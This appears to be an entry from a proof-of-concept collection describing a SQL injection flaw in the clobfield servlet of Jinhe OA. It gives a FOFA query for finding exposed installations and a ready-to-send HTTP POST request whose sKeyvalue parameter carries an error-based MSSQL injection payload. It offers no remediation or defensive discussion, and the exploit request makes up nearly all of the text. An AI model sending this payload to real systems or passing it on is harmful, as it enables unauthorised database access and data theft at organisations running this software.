## 金和 clobfield 存在sql注入

1. fofa

app="金和网络-金和OA"



1. poc

POST /jc6/servlet/clobfield HTTP/1.1

Host:

User-Agent: Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36

Content-Length: 158

Accept: \*/\*

Accept-Encoding: gzip, deflate, br, zstd

Content-Type: application/x-www-form-urlencoded

SL-CE-SUID: 77

key=readClob&sImgname=filename&sTablename=FC\_ATTACH&sKeyname=djbh&sKeyvalue=1' and 1=convert(int,(select sys.fn\_sqlvarbasetostr(HashBytes('MD5','1'))))--+

